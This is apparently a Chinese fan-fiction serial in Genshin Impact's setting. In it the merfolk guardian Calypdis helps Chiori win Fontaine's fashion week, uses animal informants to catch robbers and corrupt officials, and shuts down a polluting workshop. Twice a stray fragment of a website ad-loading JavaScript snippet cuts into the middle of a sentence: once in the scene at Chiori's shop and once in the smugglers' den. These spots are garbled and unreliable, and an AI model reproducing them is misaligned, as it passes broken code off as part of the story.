今年的表演似乎多了一个环节。 当人群发出惊呼声时,静原他们也忍不住侧目而视,之间海港上空绽放出璀璨的明亮烟火,一团团的,极大,热烈。 而就在下方,长长的木制平台与望海楼之间,金红色的狮子蹦跳着,翻越着,在高处与平地间来回窜跳,活泼而灵动,喜气洋洋。在新春的烟火下,在密密的明光灯笼放飞天际的背景中,那样的金红色狮子就像是流星划过夜空一般显眼,也在静原记忆里留下了浓墨重彩的一笔。 “哇——”身边的福勒依斯甚至忘记了咀嚼,“没想到在璃月港也能看到这样地道的舞狮表演。” “舞狮?那不是沉玉谷地区的习俗吗?”静原不解。 福勒依斯眼瞳中倒映出明亮的人间烟火:“是这样没错啦,不过沉玉谷和璃月港之间的文化交流一直都有延续,这次听说是一个小年轻扛起了大旗……等我打听得多一些再告诉你。” “好啊……快吃吧,吹了会冷风包子都要凉了。” “没几个了……要不要去放灯?” “你也开始热衷于制造发光垃圾了吗?” “干嘛说得这么难听,节日气氛这么浓重,放一盏灯多好啊。寄托新年愿望美好祝福什么的……” “你有啥愿望,说出来我帮你实现。” “卡吕普迪斯,这世上也有钱买不到的东西。” “这个我不否认,不过我没想到你居然会有这样飘渺的心愿吗?” “有啊。” 福勒依斯吃掉最后一只红油小包子,擦擦手说:“希望璃月这样平和的千岩之地能够保佑你,保佑你平安顺遂的渡过难关。” “有点感动了……为什么不是保佑我平安无忧?” “想想都不可能吧。你的未来,绝对不会是一帆风顺的。”纯水精灵叹气,“真要遇上事了,你肯定一声不吭然后自己抗下来。我不一定能及时发现,只能寄托飘渺的祝福保佑你顺遂的渡过难关咯。” 家人和朋友都在祝福他能够跨越艰难险阻啊……静原对自己注定坎坷的未来感到了一丝丝担忧。 54.鸣雷 过了海灯节,静原一上称,胖了十斤。 静原:“……” 格蕾丝蒂:“喔~” 托皮娅:“哇——” 艾伊丝:“所以,卡吕普迪斯大人要减肥吗?” 静原流泪:“减!” 那维莱特:“这就是你一连两周吃素食白煮蛋与白煮鸡胸肉的理由吗?” 那维莱特:“虽然很健康,但是未免健康得有点过头了。” 那维莱特:“而且你一点都不胖,现在这样刚刚好,对于人鱼这种深海生物来说,尾巴储蓄的脂肪越多越有力量,更能够抵御寒冷。” 在那维莱特办公室吃着轻食沙拉面如土色的静原幽幽叹气:“可是肉长在了腰上,我不想变回鱼之后发现自己腹肌都没有了。” “而且这严重破坏了我英武的形象。”静原振振有词道。 那维莱特签字的笔一顿,表情复杂,疑惑中带了点不可思议,不可思议中又带着对家人的包容,因此犹豫了半会还是什么也没说。 不过幸好,在枫丹海连着游泳四处乱窜两个星期的静原终于瘦回来了,上岸之后第一件事就是去小吃摊买圈圈圆圆油炸食品。 下班后来小吃摊“消灭罪恶”的特训队队长夏沃蕾看见了同道中人:“晚上好,卡吕普迪斯大人。” “晚上好。”静原坐在摊上的小座位上,小心翼翼的用一根长长的薯条拨开沾在其他薯条上的番茄酱。 “卡吕普迪斯大人不吃番茄酱吗?”夏沃蕾有点惊讶,“吃薯条不蘸番茄酱?” 邪教! 静原尴尬的咳了两声:“酥酥脆脆的薯条就很好吃,番茄酱没必要蘸嘛。” 夏沃蕾很诧异,难道不是蘸番茄酱锦上添花吗? 这件事之后,夏沃蕾又发现这位人鱼先生不止不蘸番茄酱——他什么酱都不蘸。吃洋葱圈,薯条,炸鸡块什么的都不要酱。后来在餐厅碰到,干脆拼桌坐在一起面对面,发现他吃面包配洋葱汤不蘸奶油。 类比干吃饺子(没汤那种)不蘸醋或者酱汁。 就,这么白吃? 虽然不是没有这种吃法,但是——夏沃蕾还是很惊讶。 也许人鱼的味蕾和人类不一样吧,她如此解释,倒也慢慢理解了。 千灵节之后他俩意外的因为这种小事熟悉了起来,然后静原又在夏沃蕾的介绍下认识了千织屋的老板千织,值得一提的是,旅行者和派蒙也在场。 “原来是你啊。”静原挠挠头,“原来你就是千织。” 之前路过关门的千织屋还没想到居然会是这个孩子开的。 “那证明我的名气还不够大,我会多努力的。”千织笑了笑,“毕竟当年我可是一眼就认出了你呢,卡吕普迪斯先生。” 夏沃蕾左看右看:“发生了我不知道的事情吗?” 店里没什么外人,千织也很坦然:“前几年我刚来枫丹的时候,和合伙人闹掰了,坐在海崖上望海散心,恰好看到了巡逻的卡吕普迪斯先生。他开解了我,也带给了我很多新灵感,千织屋最初那一批作品里就有先生的影子。” 夏沃蕾想起来了:“我在杂志上看到过,那个系列是人鱼系列,卖得很好。本来以为你是单纯的知道枫丹有人鱼,原来是和卡吕普迪斯大人近距离接触过啊。” 这不奇怪,枫丹人都知道卡吕普迪斯是街溜子一般的存在,临海的任何一片地区看见他都不足为奇。 派蒙感叹:“卡吕普迪斯到底认识多少枫丹人啊。” 静原微笑:“没有数过。” 旅行者猜想那会是一个很恐怖的数字。 当事人之一的静原踩在店里柔软的地摊上,从头到尾,千织都没有对他光脚表达任何疑惑,只是默默的沏茶招待几位朋友,并且庆幸自己店里铺着厚厚的地毯。 “卡吕普迪斯先生,愿意观看一个月后的枫丹时装周评选吗?”千织发出邀请,红瞳中是对自己实力的绝对自信,“我有信心争夺魁首,也想让你看看我这几年打拼出来的结果。” 静原自然点头说好。 “另外旅行者,派蒙,我也想邀请你们加入。大家是我的朋友,这样重要的场合,我希望大家能够见证。” 旅行者笑:“很自信嘛,我们当然会来。” 派蒙嘿嘿乐:“放心吧,我和旅行者会一起帮你准备时装周大展身手的。” 静原浅笑,低头喝茶。 不过他没想到前期准备工作中居然会遇到来自稻妻的快递员小猫。 时隔几日进入了枫丹廷汇报工作后,他提了些点心顺道去看望了芙宁娜和千织,然后在后者店里小坐一会,看她筹备时装秀需要用到的东西。 千织泡了一壶红茶,顺嘴提了一句:“我雇佣了狛荷屋运送一些产自稻妻的布料,算算时间上午就该到的,不知道中途出了什么差错,午饭都吃了,那孩子还没有到……” 千灵节的时候她从神里绫人那里得知稻妻雷暴与纷争都已经停歇,也因此在筹备时装周的时候,考虑了老家的风格,选用稻妻布料与一些特殊染料是很不错的选择。 静原点点头表示自己知晓,这时,有人推开了千织屋的大门。 那是个有着两条尾巴的猫又,穿着一身明显出自千织设计的精美服装,装点清新淡雅的蓝绿色花朵——如果这位女孩的表情没有那般失落而愧疚就好了。 “对不起千织姐,我比预定的时间来晚了这么久。路上遇到了抢劫,那些货物——” “抢劫?你有没有受伤?他们打你哪了?”千织关注点完全放在朋友身上,得知对方没有受伤后才算放下半颗心,“没事的绮良良,遭遇这种事不是你的错,我会去调查的,敢抢我的货,还欺负我的朋友……哼。” 绮良良并不安心:“货物都有不同程度的损毁,这是我的过失,还请一定让我按照原价赔付!拜托了千织姐……” “冒昧插嘴,绮良良小姐,请问案发地点在哪。”在茶水间坐着休息的静原走出来,引得猫又不自觉的嗅了嗅,极高的身高又给了她以强烈的压迫感,“这样违法乱纪的事,我既然知晓了就不可能放任不管。” 绮良良瞪大了眼睛:“唉——” 当静原把几个受雇于人的打手带到特训队面前后,夏沃蕾那边也在听千织打报告。 原来千织在大庭广众之下找到了那个最有可能雇佣买凶的竞争对手厄舍,三言两语确定了对方有作案动机,然后将人暴揍一顿——夏沃蕾很无奈。 “千织,这是法治社会。”她跟对方讲道理,“你当着这么许多人的面打他,如果对方真要告你,审判庭上你会相当被动。” 千织不在乎:“他尽管去告,到了法庭上见真章。敢这样欺负我的朋友,他就别想好过。” 夏沃蕾叹气:“千织,我好歹还站在你面前……” “我想如果真有上法庭那天,千织也不一定就会落入下风。”静原走来,身后跟着夏沃蕾的副队长,“毕竟我已经找到了证人,可以证明这件事的起因是厄舍恶意商业竞争,违法雇佣盗宝团贼人抢劫商业货物,千织这种出于财产受损的报复行为最多被审判官口头警告。毕竟伤痕鉴定结果只会是轻伤。” 最后那句有点细思极恐啊……旅行者看着人鱼先生,觉得对方这句话背后隐含的意思不太美妙。 “谢谢你,卡吕普迪斯先生。”千织明白他是在维护自己的利益,“帮大忙了。” 绮良良惊喜道:“居然抓住了!好厉害!原来卡吕普迪斯先生你只要知道地点就可以抓到人吗?” “因为发生在这片大地上的任何一件事都会有许多双眼睛注视着,那些人欺负完你,破坏了货物后离开,却没有注意到那许多双眼睛也注视着他们的一举一动。”静原面色平淡,“所以我说人在做天在看,凡事必留痕,可惜总有人怀抱侥幸心理,天真的以为自己可以欺骗所有人。” 夏沃蕾简直想给他鼓掌:“说得太好了!” 派蒙挠挠头:“呃,虽然很冒昧,但我很想知道卡吕普迪斯你说的那许多眼睛,是什么东西的眼睛啊?” “飞禽走兽,游鱼以及原海异种。今天说的是前两种。”静原解释道,“我并非人类,通晓百兽的语言,也因此能与这些小生命沟通。只用在那片事发地找到飞鸟与松鼠之类的小动物,就能从它们那里得知此地发生了什么,而坏人又去往何处。” 静原看向听呆了的猫又:“绮良良小姐,你很幸运,也很不幸。因为你是猫又,而非人类,许多小动物都很好奇枫丹没有过的物种,于是那场暴行被许多双眼睛注视着,可是它们无法帮助你,为此托我向你道歉。” 绮良良连连摆手:“没什么没什么,不用道歉。我是说那会怎么听到几声很急促的鸟叫,还以为是它们害怕我吃掉它们呢……很感谢它们指认了抢劫犯!是我该谢谢它们才对。” “离开枫丹的时候,它们应该会盘旋在天空目送你离开,可以稍稍留意一下。”静原这样提醒她,“派蒙,钟表店老板家的猫说,你今天摸她的时候很舒服,下次再摸记得喂她咸味小鱼干。” 旅行者看向派蒙:“你什么时候摸了猫的?我怎么没看到?” 派蒙真信了:“你借用合成台的时候我就在旁边摸猫猫呀。卡吕普迪斯,猫猫真的这么说吗?旅行者你听到了吗,帮我做一些小鱼干吧,我要喂猫!!” “听到啦听到啦……” 千织想起了什么:“那我当年……” 静原:“因为我路过那里的时候水母群正在聊天,说有个人类女孩子坐在海崖上很危险,所以我才浮上来看。” 千织笑起来:“我开始喜欢水母了。” 夏沃蕾:“说实话意外的不奇怪,毕竟卡吕普迪斯先生一直养育鲸群和龙蜥群,会这种沟通的本事也是理所应当的。” 旅行者觉得很有道理:“只是平时很少会有人注意这些弱小的生命也在注视着人类吧。” “好了,话题偏离,拉回正题。”静原询问千织,“稻妻那边再运来一批你需要的材料到你制作完成,其中时间肯定不够。所以现在打算怎么做?换主题还是找其他材料替代?我比较推荐璃月那边的布料,质感和稻妻的相比不会差。” 几人都看向千织,毕竟她才是这次时装展的主人公。 千织沉思过后却说:“我未曾去过璃月,也没有获得过有关璃月的灵感。现在的这批设计稿全都作废了,我得重新想想,或许就用枫丹布料也不错,我也有一些新想法……厄舍那边还没完,我不打算就这么了结,因为他也同样的不会善罢甘休。他的事要排在时装展之前。” 作为曾经搭伙然后又拆伙的“朋友”,千织很了解对方的行事作风,破坏布匹材料只是先行手段而已。 很快千织就等到了厄舍接下来的小动作。对方在报纸上散播谣言,说千织屋老板涉黑且暴力,大庭广众之下殴打竞争对手,还串通好了警备队。千织手头几个客户全部跑单退单,之前订好的模特为了及时止损,也纷纷提出解除合同。千织屋名声受损,门可罗雀。 不过她本人只是摊手:“我说什么来着?”她真的很了解这个前合作对象。 至于之后这些损失,她并不挽留,只是转过身来做自己的事。 旅行者无奈。 静原:“特训队也被拉下了水,看样子他是希望你不能从夏沃蕾那边借力,倒也没有想象中那么蠢。” “难得听到你这样评价人。” “因为我有点生气了。他在凭借一己之力摸黑枫丹的形象,无论是国家对外治安形象,还是警备势力的社会公信力。这些培养起来很难,但破坏却容易极了。”静原最开始帮绮良良找出欺负她的抢劫犯也是这些理由占据上位,因为绮良良是外国的客人,周游列国送快递,一路走来都没问题,偏偏在枫丹遭遇了抢劫,这事闹大简直是一桩极其恶劣的丑闻,所以静原在闹大前迅速掐灭了可能会兴起的苗头。 千织沉默。 派蒙着急:“现在该怎么办呀?就这样放任他抹黑千织吗?” 千织摇摇头:“别急,我自有定数。现在,请大家帮我把店里的成衣都撕碎吧,有刀剑的话直接砍碎也可以。” “啊?千织你不要被气糊涂了,怎么要对自己的作品下手?”派蒙不理解,派蒙劝说,“这些都是你的心血呀。” “的确,这些都是我的心血,可是如今的客人不需要,时装展也用不了这些,不如毁掉,我也好心无旁骛的思考新设计。”千织看向抱胸站在一旁的人鱼,“先生也明白我吧?” 因为当初她就是这样撕碎了小出租屋的所有成衣,在废品之上设计出了闻名枫丹的人鱼系列时装。 静原:“服装设计这方面你是专业的,听你的。” 这句话掷地有声且无法让人反驳,旅行者很快收拾出空地然后砍劈,派蒙很舍不得这些精美的成衣布料:“不过,我们这样肯定是千织屋第一人吧?” “那当然,换作平时可是会被我丢出去的。” 当千织屋突然迎来访客,娜维娅直冲冲进门:“千织!我看到了报纸上的消息,到底是哪家恶意竞争抹黑你?” “呃——天哪!这都是谁干的!”娜维娅看见了满地碎裂的绸锦与衣架,倒吸一口凉气,然后眼神一暗,“告诉我名字,刺玫会保证让他知道没衣服穿是什么感觉!*” 旅行者被吓到了,连连往后退。 然后夏洛蒂也冲了进来:“千织你在吗,别担心,报纸上我已经——这都是谁干的!告诉我名字,我明天就让他登报!*” 枫丹蒸汽鸟报社绝对会让那个人身败名裂! 旅行者和派蒙抱在了一起,瑟瑟发抖。 面对怒气冲冲意图伸张正义的好友,千织连忙安抚她们,并做出解释:“是我让旅行者这么干的,没事的,别担心。” 静原坐在椅子上不动如山,甚至还有心思开玩笑:“我以为你们看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我在这,应该会排除恶意砸店这个选项。” 娜维娅尴尬挠头:“这不是,太着急了嘛……” “哦——卡吕普迪斯大人!”夏洛蒂两眼放光,多少还是克制住了一些,“见到您真高兴。” “坐下来好好聊聊吧,大家思绪也有些乱。”静原建议道,“先商量出一些章程。” 这确实是目前当务之急,最后大家商议一番,决定多管齐下,一部分人去找警备厄舍都动静,一部分人协助千织制作新的参展服装,报纸上的污蔑需要及时肃清,以及模特人选也要定下来。 “啊,你之前上报给服装展评选那边的服装理念设计元素应该是稻妻题材吧?现在要更换的话,应该重新上报。”静原想起枫丹办事的流程,“时间截止了吗?” “两天前就截止了。”千织扶额,“这也是让我头疼的地方。” 娜维娅得意一笑:“不着急,刺玫会能帮你。这种程度的走后门我想你应该不会拒绝。” 静原睁一只眼闭一只眼,实际上如果都没有好办法,他会提议沫芒宫重新审核今年时装展的参展名单,全部重新提交一份,把千织新写的混进去。 这大概就是朝中有人好办事吧……那维莱特公正无私,卡吕普迪斯可不会。 他都以权谋私扣过枫丹科学院的研究经费,也不差这点了。 静原毫不羞愧也不脸红。 模特人选最终定下了娜维娅,绮良良,以及听到消息后选择来帮忙的林尼兄妹。 “哥哥和我看到了报纸上的消息,都相信千织你。有什么可以帮忙的吗?还请不要推辞。”琳妮特是这样说的,千织没有跟她这种雪中送炭的行为见外。十分感激,并且记在心里。 静原站起来,摸摸琳妮特和林尼两个孩子的头:“那我去查厄舍那边,我做事总归比你们方便些。” 起码卡吕普迪斯这个身份摆出来,就足够许多人望而却步知难而退了。 而且他现在是真的有点恼火了哦。 这事没人跟他抢,于是静原大步离开了千织屋,一路摸到厄舍服装工厂那附近的时候,身上已经停了好几只鸟雀,鱼鸥盘旋在上空,猫猫狗狗更是在身后聚集。 大家喵喵喵汪汪汪啾啾啾嘎嘎嘎的诉说着:就是这里,就是这里有好臭好臭好难闻的味道。 青天大老爷,你要为我们做主啊! 天知道这些嗅觉灵敏的小家伙住在附近受了多少苦楚,可是迁去其他同类地盘免不得要争斗一番,而对刚度过冬天的小兽来说,不以争夺配偶为前提的争斗尽量避免才对。 于是大家捂着鼻子忍耐下来,避着走。 直到消息最灵通的天穹鸟雀带来了海中人鱼的消息,这片地区的猫猫老大和狗狗老大主动找到了静原,请他帮忙来处理这所污染工坊。 为此,它们愿意献出软软的,热乎乎的肚皮给人鱼摸摸(什么)。 青天大老爷——静原刚到工坊外就察觉了那股刺鼻气味属于他知晓的有害物质的一种。托前些年和科学院那边扯头花的经历,静原对于这种研究院实验副产物印象很深,因为他当初用这个为理由狠狠拖欠了科学院的资金——拿钱不干人事,净鼓捣些危害社会的东西。 当年科学院院长铁青的脸色与现在工坊里工人苍白的脸色重合。 静原有预感,他又该找上枫丹动能科学研究院和沫芒宫撕架了。 这种命令禁止的有害物质材料是怎么流通出去的?谁批准的违章工坊建造?为什么定期检查的人没有发现这种刺鼻气体? 静原在小动物们的帮助下关停了工坊,用水元素封印了工坊几个进出通道,直接找到了附近巡逻的警备队接手这边的工坊看管,然后直接去了沫芒宫找顶头上司打报告。 静原:我要告到中央!我要告到中央! 最高审判官及枫丹□□班子严肃接待里义愤填膺的大守护者(人民的检察官),对于大守护者的检举提出表扬,并保证会认真落实到位。 这何尝不是一种直达天听呢? “蟑螂都跑到明面上被我发现了,那证明暗地里的臭虫已经扎堆了。”静原对相关部门的工作提出质疑,“这么多年你们在干什么?吃白饭?” 静原叉着腰在办公室把几个负责人喷了个遍,办公室外路过的文职人员听见都忍不住缩缩脖子快速溜过:“……知道多丢脸吗?警备队眼皮子底下的郊区,快递员被人袭击抢劫,我在枫丹廷内收到消息的速度都比执勤的快。科学院那边的对接人是谁?三十年前就命令禁止的违规有害材料是怎么被一个服装店老板弄到手的?我清楚的记得所有流通在外的材料都被集中起来销毁,只有科学院那边留存的一部分作为样本,这其中多少藏污纳垢,还有其他的违禁品流通在外吗?你们对接科学院的,管市场部门检查的都在干什么?非要闹大要死人了才开始甩锅推卸责任是吧?说话!” “黎翡区的土地污染问题为什么没人发现没人上报?每年批到地质部门的外出实地考察经费落实到了哪里!我有腿就是这三个月的事,要不是这几天在枫丹廷待久了点我都不知道能有这么多事?人才,真是人才!” 那维莱特坐在旁边看静原张牙舞爪,一句话不多说,明摆着站在他这边撑腰。 静原的职位是枫丹的大守护者,从前管的是海洋的治理与船只的航行,近一百年不怎么插手这些,反而支持文娱产业。但是既为守护者,天然的就具有监察检举的权利,发现危害然后清除是他的份内之职,又因为他在任时间久远,是除了那维莱特之外在场所有人的前辈与大领导,把失职的下属喷个狗血淋头也是完全OK的。 而枫丹公务员体系的臃肿与拖延甩锅也是沉疴旧疾了。 那维莱特只是叹气。他不是不知道这些沉疴,只是所属体系位审判庭,有心无力罢了。 而这种事,得卡吕普迪斯这种特殊职位特殊资历的存在来做,就像切蛋糕一般,用刀是最直接的。而用勺子用叉子分蛋糕也不是不行,只是不好看。 卡吕普迪斯就是那把刀。 砰—— 静原猛的一拍桌子,桌子当场裂成两半,给沉思中的那维莱特吓一跳,办公室外埋头找活干的复律员皮绷得死紧。 大家听见卡吕普迪斯大人拔高了声调,在那维莱特大人的办公室里大发雷霆:“我就给你们两个星期的时间,两个星期之后我要看到改变的正面成效,不然法庭见。别想着引咎辞职,亵职还想跑?不可能!!!” “这期间我会在全国境内走一遍,所有发现全部计入你们的档案,复查过后直接公之于众,让全体枫丹人看看各位绅士女士们拿着薪水干了些什么事!然后法庭公审!在喻示裁定枢机面前接受所有人的审判!” “开会完毕,解散!” 最后一句接近咆哮,人鱼的嗓音穿透力极强,如同白日鸣雷,震得人神色恍惚,两股颤颤,偏偏精神前所未有的清醒。 枫丹廷要变天了。 55.新衣服出街 时装展那天,静原如约而至。 混迹在人群中的蓝发青年并不起眼,因为全场的焦点都在灯光照耀下的模特身上,那些精致华丽的前卫服饰充满了浪漫的个性色彩,与周围装饰的珊瑚贝壳相呼应,让人瞬间联想到大海。 从周围如雷般的掌声浪潮中不难看出,千织屋这次的理念时装秀获得了一致好评,以绝对的实力打响舆论战反击第一枪。 菲米尼这孩子怕生,站在黑暗的角落看林尼他们展示服装,那双蓝眼睛在灯光映衬下也亮晶晶的。 作为优秀的潜水员,他和千织在海中寻找灵感时提供了相当大的帮助,能够让同伴近距离的观察这些脾气不好的预感海中异兽,也是实力的一种。 表演结束后,第一名实至名归,毫无异议的落入千织手中。她周围全是拥簇而来的客户与订单,不过千织都全都婉言劝退了,表示自己今天不接受任何商业订单,选择去和等待她的朋友们参加庆功宴了。 “卡吕普迪斯先生,其实我做了一套衣服,只是没有展示出来,想留作送给你的礼物。” 千织将一份包装精美的礼盒递给静原:“我一直都很感谢你的帮助,无论是从前的灵感提供,还是查封厄舍的工坊,以及这些日子的帮衬,我都铭记于心。我问过一些美露莘警官,她们很好,说过你不会接受任何形式上的金钱酬谢,我想,那就在我最擅长的领域报答你。” “先生,这只是一套衣衫,并不昂贵。”千织言辞恳切,“我很希望你能收下。” “就当是一个裁缝对灵感缪斯的答谢吧。” 老实说,静原这上身的衣服应该穿了有千百年,款式也一成不变。下身的裤子是鳞片与皮肤变化而成的,从来没想过要换。 他从来没想过换身衣服,毕竟他的臂鳍锋利,又常年在海中游动,没有什么凡俗的布料能抗住海水经年累月的腐蚀,除了他自己变出来的这身。后来能变为人后,下身被双腿取代,臂鳍也变成了白色的流畅纹路——就像有谁用白色修正液在他手臂上作画一样。 尽管能在岸上生活了,静原也没有换衣服。人鱼不需要考虑衣物整洁的问题,那对智慧的长生种来说根本不算什么。 真的,他第一次收到衣服作为礼物。 倒也不是说其他人不会送礼,相反,是太会送了,才没有考虑过衣物这个选项。 因此,当静原坐在海沫村的粉白色石台上拆礼物的时候,小心翼翼的蜷缩锋利的手指,提起那件不知是哪国风格的丝质上衣时,明显被惊艳到了。 布料光滑又有韧性,难得的是触之温凉的手感,从上到下,从白到蓝的渐变。剪裁一如既往的是千织的风格,没有选用枫丹当下流行的蕾丝与褶皱,边缘平滑,如同瀑布下垂一般。袖子两侧有狭长的开口,明显是预留出来给臂鳍的,手腕的袖口是两颗袖口束拢,贝壳形状的白底托镶嵌看不出品种的深蓝色宝石。 没有裤子。 毕竟千织开始做这衣服的时候静原还没有双腿。 静原不知道,他只当是千织知晓自己身上的裤子是尾巴的鳞片与皮肤变化而成的。因此当他翻出腰链这种配饰时,有些莫名的发笑。 腰链用珍珠,贝壳以及袖口同款宝石做成,并不复杂,但看上去相当华丽。静原感觉戴在腰上有种劣马配好鞍的诡异既视感。 但是他可爱的侄女们明显不这样认为,大家不知不觉凑过来围观人鱼叔叔的新衣服,然后鼓掌。 “太好看啦!” “卡吕普迪斯大人和那维莱特大人一样英俊!” “现在更像人类书中描写的人鱼王子啦。” 静原挠头,脸上有点不自在的薄红,不过很快自信起来:“是吗?那我明天穿出门去走走。” “好呀好呀。”瑟琳露出大大的笑容,“明天请让我给您梳一个新发型吧!” “还有我还有我!我收集了很多漂亮的贝壳和珊瑚做成头饰哦!” “卡吕普迪斯大人的发质这样好,就应该每天都换不同的发型才好嘛!” 静原连连摇头:“我就要高马尾。” 他头发太长了,如果真听从美露莘们的话,那么对于长发披肩垂腰有股莫名执念的小姑娘们出手,他穿这身走出去,不到半路头发就会被腰链和衣服上的装饰物卡住,扯半天扯不动,只会给自己疼得龇牙咧嘴。晚上回来卸货,头上的珍珠贝壳珊瑚又会扯痛——美露莘们很热情,只是她们的手实在是不适合如此精密的操作,而静原的头发明显不喜欢装饰物过多,不然就会猛烈抗议。 因此但凡不是准备在家瘫个十天半个月,静原从不轻易把自己的头发交给小姑娘们。 太可怕啦! ……露出这样亮晶晶可怜巴巴的祈求眼神也没用哦。 ……真的没用,真的。 ………… “好吧好吧。”静原扛不住了,“不要太复杂了,梳头发很痛唉。” 回应他的是美露莘们活跃的蹦跳与拥抱。 “好耶!卡吕普迪斯大人最好啦!” 对美露莘们来说,跟叔叔撒娇百试百灵。 海沫村里响起美露莘们欢快的笑声,庞大的厄里那斯注视着体内欢笑的小小生命,安然的沉浸在死亡的永恒之所。 穿着新衣服的静原并没有第一时间进城,而是围绕着枫丹廷像四周勘探,以双脚走遍枫丹大地。就像他那天在沫芒宫放出的话那样,他只给两个星期的时间发现与处理,不仅是对沫芒宫职员的要求,也是对自己的要求。 黎翡区的污染不必说,枫丹动能科学研究院那里的水体与空气污染虽然有苗头,好在这些年学乖了不少,没有到引得静原发怒的程度。因此他走过此地,只是挑眉记账,然后伸手处理净化,接着去下一个地方。 伊黎耶作为净土,龙蜥有那维莱特和静原双重命令,很乖巧的守护着此地的水脉,前阵子的小污染也让珀西芙找旅行者处理了,因此静原来检查的时候满意的摸摸水龙蜥的大脑袋。 珀西芙蹭了蹭他的腰,没有闻到血腥味,这才放心的离开。 莫尔泰地区唯一能让静原皱眉的只有因为旅行者探索过然后突兀沉入海底的巨大堡垒。 他顶着空荡荡的海面发了会呆,决定相信这对组合,毕竟旅行者和派蒙所到之处,破坏是理所应当的会有,但污染全部都会消除。 静原:只要水体不污染,整啥破坏我都能睁一只眼闭一只眼放过去。你要是能顺手解决污染,沫芒宫那边的压力我扛着。 莫尔泰地区水下一切都好,静原顺手给柔灯港新聚集起来的暗礁铲平,然后清理了驻扎的魔物,把盗宝团穿成串送到港口执勤的警备队手中。 值得一提的是,因为盗宝团不知道人鱼已经变为人这个消息,第一次见静原也不认得他的身份,见到如此粗鲁的绑人方式还以为自己遇到了黑吃黑的人贩子,要把他们全都运到黑煤厂挖矿,情急之下抱着静原的大腿哭着喊着不要卖掉他们,什么士可杀不可辱之类的诡异的话。 静原对此微笑,并不回答。只是绑人绑得更紧了。 柔灯港执勤的警备队第一次见到如此热切且双眼饱含热泪的激动犯人。 “太好了,是警备队,我们有救了!” “终于不用被担心卖掉了呜呜呜!” 警备队队员歪了歪头,难以理解现在盗宝团的脑回路。 还没有走远的静原听到声音回头:“好吵,枫丹什么时候把劳改教育普及起来,梅洛彼得堡放不下还可以送到隔壁璃月挖矿。” 璃月人:我们也不是什么都要的。 盗宝团们安静如鸡。 警备队队员火上浇油,给盗宝团成员岌岌可危的理智上压力:“那是卡吕普迪斯大人吧?” “是吧,虽然不知道为什么是人类的模样了,但是那又有什么关系呢。” “现在卡吕普迪斯大人可以上岸清除罪恶了,我们的工作压力也会小很多……真是太好啦。” 盗宝团老大流泪:“完了,全完了。” 站在盗宝团地下据点中间的静原正在随身携带的小本子上写写画画,周围堆放了厚厚一摞搜查出来的证据。周围铁锈腐蚀的大型管道上站满了密密麻麻的老鼠,红色的眼睛齐齐顶着被五花大绑的盗宝团与恶贼,吱吱的低声叫着。 成员们看见这群老鼠就来气,就是这群老鼠给这个陌生的光脚男人带路,账本,财宝,钥匙,武器……全都被他翻了出来重见天日,那些记载了权贵与高官政要金钱往来的文件账本——这个男人正在抄录。 “好累。”那个男人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 合起本子,“抄得手都麻了。” 他接过小老鼠们合力拖出来的麻袋,把这些记录一样样全都放进去,打个结,没事人一样滴溜着。另一只手伸出来,水元素的丝线就牵引在了每个盗宝团成员被反手束缚的手腕上。 因为提前检查过身上和口腔内藏匿的东西,这会并不担心反水的静原在一众小老鼠的帮助下,拽着一长串任老鼠出洞般一个接一个走出来。 小老鼠们吱吱的叫着,在静原脚边饶了几圈,然后都如此来时一般迅速的钻了回去,消失在大地上。 静原带着证据与犯人找到了最近的巡逻警备队,这次带队在枫丹廷外巡逻的时候熟人夏沃蕾。 “下午好啊,夏沃蕾。” “下午好,卡吕普迪斯大人。”夏沃蕾看着他遛狗似的牵着的一大串人,“这是这周的第几批了?” “十三次了。”静原风轻云淡道,“还没完呢。” 听得出他隐含怒意的夏沃蕾点点头:“辛苦你了,卡吕普迪斯大人。这批人我带走了,下一支小队半小时后就到。” 静原不在意,把证据和人都交给夏沃蕾厚轻装上阵去下个地方。从树上跳下来一只黑猫,跟在静原身后和他一起离开。 夏沃蕾不会辜负静原的信任,这些证据和罪人也不会让人找到机会毁掉,毕竟,这次的枫丹高层大清洗可是惊动了水下堡垒的公爵出来保驾护航呢。 枫丹这个国家科技发达,海域面积庞大,海岸线漫长,也因此,天然的,人为都洞穴相当之多,就像松鼠和老鼠藏匿食物一般,一伙人能挖出好几个不同位置的洞。 静原带着他的小动物眼线,一个接一个的“洞”抓人,被骂出警速度慢的警备队几乎是跟在他屁股后头捡漏,静原前脚查封,他们后脚接手,代表正式的官方势力出面了。 当然了,因为洞太多,不可避免的挖到了愚人众的。 和愚人众先遣队四目相对两两相望的静原顿了顿,和肩膀上的小鸟对视一眼。 没带错路? “啾啾啾。” 小鸟清脆的叫声响起,没错啦,我看到穿这种衣服的家伙和科学院的怪人们有交易! 静原更信任自己的小动物朋友,于是这群愚人众也被五花大绑,不同以往的是,除了警备队,他还通知了林尼所在的布法蒂公馆。 静原和仆人没有直接联系,一些隐秘的消息传递都是通过林尼他们三个完成的。 林尼的回信寄到他手中时,静原刚把第十六批捣毁的窝点罪犯交给警备队——也是他们带来了静原的信。 林尼说,这支愚人众特遣队不属于父亲大人管辖,卡吕普迪斯先生依法处理就好。 静原也就明白了,审判庭那边也会秉公处理,根据交易内容来判定做出什么样的判决。没事的话皆大欢喜,自然会放过并且赔偿。 毕竟小鸟分不清交易的内容是什么,它们只能辨认“交易”这个行为是否发生。 两个星期的时限到了,静原坐在了欧庇克莱歌剧院的第一排,看着那维莱特对这次事发败露的权贵政要进行依法判决。罪名静原懒得记,反正一长串,如果不是枫丹废除死刑,足够枪毙他们八百个来回。 不过人民群众的目光也足够凌迟处死了。 值得一提的是,静原状告沫芒宫复律廷的怠政问题,审判官那维莱特翻遍了枫丹律法,也没有找到合适的处决方案。 不然怠政懈政问题也不至于愈演愈烈。 人民一听,还有此事?这群大老爷们拿着人民的纳税钱不干正式,盯着一件小事要不要办吵三个月,又因为这件小事要不要取消继续吵三个月,时间和金钱都从人民的指缝溜走钻进了他们的口袋——岂有此理啊! 立法!必须立法!怠政懈政全都要进梅洛彼得堡打螺丝!!! 在人民的强烈呼求下,静原功成身退,沫芒宫该苦恼的律法推动问题就不是他要思考的了。 不过…… “我都出来这么多天了,为什么没人夸我新衣服好看?” 人鱼站在露景泉面前奇怪的挠了挠头。 今天出庭他可是特意喷了艾梅莉埃出品的海盐系列香水唉!都没人闻到吗! 